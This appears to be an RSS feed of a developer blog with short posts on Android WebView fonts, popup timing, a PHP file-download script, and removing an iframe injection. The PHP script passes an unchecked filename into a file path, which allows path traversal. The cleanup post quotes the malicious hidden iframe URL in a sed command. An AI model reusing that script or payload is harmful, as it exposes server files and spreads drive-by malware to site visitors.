<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zayin Krige</title>
	<atom:link href="http://www.zayinkrige.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zayinkrige.com</link>
	<description>Android, iOS, PHP, Java, Javascript &#38; Linux</description>
	<lastBuildDate>Thu, 16 Aug 2012 19:09:15 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Custom font in a webview</title>
		<link>http://www.zayinkrige.com/custom-font-in-a-webview/</link>
		<comments>http://www.zayinkrige.com/custom-font-in-a-webview/#comments</comments>
		<pubDate>Thu, 16 Aug 2012 19:09:15 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Android]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=184</guid>
		<description><![CDATA[Often in an android app you want to display some formatted text and pictures. The easiest way to do this is with a webview. The only problem with a webview is that its a pain to change the font. Well not anymore ?View Code JAVAString head = &#34;&#60;head&#62;&#60;style&#62;@font-face {font-family: 'myface';src: url('fonts/Roboto-Light.ttf');}body {font-family: 'myface';} img { [...]]]></description>
				<content:encoded><![CDATA[<p>Often in an android app you want to display some formatted text and pictures. The easiest way to do this is with a webview. The only problem with a webview is that its a pain to change the font. Well not anymore</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p184code2'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1842"><td class="code" id="p184code2"><pre class="java" style="font-family:monospace;"><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> head <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;head&gt;&lt;style&gt;@font-face {font-family: 'myface';src: url('fonts/Roboto-Light.ttf');}body {font-family: 'myface';} img { max-width: &quot;</span> <span style="color: #339933;">+</span> width <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;px; }&lt;/style&gt;&lt;/head&gt;&quot;</span><span style="color: #339933;">;</span>
<a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> htmlData <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;html&gt;&quot;</span> <span style="color: #339933;">+</span> head <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;&lt;body&gt;&quot;</span> <span style="color: #339933;">+</span> strHTML <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;&lt;/body&gt;&lt;/html&gt;&quot;</span><span style="color: #339933;">;</span>
WebView wv <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>WebView<span style="color: #009900;">&#41;</span> findViewById<span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">wvReview</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
wv.<span style="color: #006633;">loadDataWithBaseURL</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;file:///android_asset/&quot;</span>, htmlData, <span style="color: #0000ff;">&quot;text/html&quot;</span>, <span style="color: #0000ff;">&quot;UTF-8&quot;</span>, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>The above snippet also makes sure all your images fit on your display</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d184').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d184" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fcustom-font-in-a-webview%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fcustom-font-in-a-webview%2F&amp;title=Custom+font+in+a+webview" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcustom-font-in-a-webview%2F&amp;title=Custom+font+in+a+webview" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcustom-font-in-a-webview%2F&amp;title=Custom+font+in+a+webview" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Custom+font+in+a+webview+@+http%3A%2F%2Fwww.zayinkrige.com%2Fcustom-font-in-a-webview%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d184').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d184').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/custom-font-in-a-webview/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Showing a popup window in activity.oncreate()</title>
		<link>http://www.zayinkrige.com/showing-a-popup-window-in-activity-oncreate/</link>
		<comments>http://www.zayinkrige.com/showing-a-popup-window-in-activity-oncreate/#comments</comments>
		<pubDate>Fri, 10 Aug 2012 13:15:26 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Android]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=177</guid>
		<description><![CDATA[If you try display a popupWindow before android ui thread is ready, you will get an exception. This code will prevent that ?View Code JAVApw = new PopupWindow&#40;layoutInflater.inflate&#40;R.layout.firstrundisclaimer, null, false&#41;, dipToPx&#40;280&#41;, dipToPx&#40;390&#41;, true&#41;; findViewById&#40;R.id.content&#41;.postDelayed&#40;new Runnable&#40;&#41; &#123; public void run&#40;&#41; &#123; try &#123; pw.showAtLocation&#40;findViewById&#40;R.id.content&#41;, Gravity.CENTER, 0, 0&#41;; &#125; catch &#40;Exception e&#41; &#123; &#125; &#125; &#125;, 500&#41;; [...]]]></description>
				<content:encoded><![CDATA[<p>If you try display a popupWindow before android ui thread is ready, you will get an exception. This code will prevent that</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p177code4'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1774"><td class="code" id="p177code4"><pre class="java" style="font-family:monospace;">pw <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> PopupWindow<span style="color: #009900;">&#40;</span>layoutInflater.<span style="color: #006633;">inflate</span><span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">firstrundisclaimer</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>, dipToPx<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">280</span><span style="color: #009900;">&#41;</span>, dipToPx<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">390</span><span style="color: #009900;">&#41;</span>, <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
findViewById<span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">content</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">postDelayed</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Arunnable+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Runnable</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> run<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000000; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
			pw.<span style="color: #006633;">showAtLocation</span><span style="color: #009900;">&#40;</span>findViewById<span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">content</span><span style="color: #009900;">&#41;</span>, Gravity.<span style="color: #006633;">CENTER</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Exception</span></a> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>, <span style="color: #cc66cc;">500</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d177').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d177" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fshowing-a-popup-window-in-activity-oncreate%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fshowing-a-popup-window-in-activity-oncreate%2F&amp;title=Showing+a+popup+window+in+activity.oncreate%28%29" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fshowing-a-popup-window-in-activity-oncreate%2F&amp;title=Showing+a+popup+window+in+activity.oncreate%28%29" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fshowing-a-popup-window-in-activity-oncreate%2F&amp;title=Showing+a+popup+window+in+activity.oncreate%28%29" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Showing+a+popup+window+in+activity.oncreate%28%29+@+http%3A%2F%2Fwww.zayinkrige.com%2Fshowing-a-popup-window-in-activity-oncreate%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d177').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d177').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/showing-a-popup-window-in-activity-oncreate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>download files with mod_rewrite</title>
		<link>http://www.zayinkrige.com/download-files-with-mod_rewrite/</link>
		<comments>http://www.zayinkrige.com/download-files-with-mod_rewrite/#comments</comments>
		<pubDate>Mon, 30 May 2011 10:58:58 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=167</guid>
		<description><![CDATA[I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar However, I&#8217;ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file. step 1 &#8211; create a php function to download a file ?View Code PHP&#60;?php &#160; $filename = $_GET&#91;'filename'&#93;; $path = $_SERVER&#91;'DOCUMENT_ROOT'&#93; [...]]]></description>
				<content:encoded><![CDATA[<p>I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar</p>
<p>However, I&#8217;ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file.</p>
<p>step 1 &#8211; create a php function to download a file</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p167code7'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1677"><td class="code" id="p167code7"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'filename'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/<span style="color: #006699; font-weight: bold;">$filename</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$fsize</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/filesize"><span style="color: #990000;">filesize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Cache-Control: no-cache, must-revalidate&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-type: application/octet-stream&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-Disposition: filename=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$filename</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-length: <span style="color: #006699; font-weight: bold;">$fsize</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Cache-control: private&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//use this to open files directly</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$buffer</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2048</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>step 2 &#8211; rewrite urls so that when requesting /some_file.rar, it redirects to the php app as defined</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p167code8'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1678"><td class="code" id="p167code8"><pre class="html" style="font-family:monospace;">Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.+)\.rar$ ./getfile.php?filename=$1.rar [NC]</pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d167').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d167" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+download+files+with+mod_rewrite+@+http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d167').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d167').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/download-files-with-mod_rewrite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cleaning up iframe injection attack</title>
		<link>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/</link>
		<comments>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 11:50:41 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=164</guid>
		<description><![CDATA[So some clever hackers managed to run an iframe injection attack on my site heres how I cleaned it ?View Code BASHfind ./ type f -exec sed -i 's/&#60;iframe src=&#34;http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2&#34; width=&#34;1&#34; height=&#34;1&#34; frameborder=&#34;0&#34;&#62;&#60;\/iframe&#62;//g' &#123;&#125; \; Bookmark It Hide Sites]]></description>
				<content:encoded><![CDATA[<p>So some clever hackers managed to run an iframe injection attack on my site</p>
<p>heres how I cleaned it</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p16410"><td class="code" id="p164code10"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> .<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #7a0874; font-weight: bold;">type</span> f <span style="color: #660033;">-exec</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'s/&lt;iframe src=&quot;http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2&quot; width=&quot;1&quot; height=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;\/iframe&gt;//g'</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \;</pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d164').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d164" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
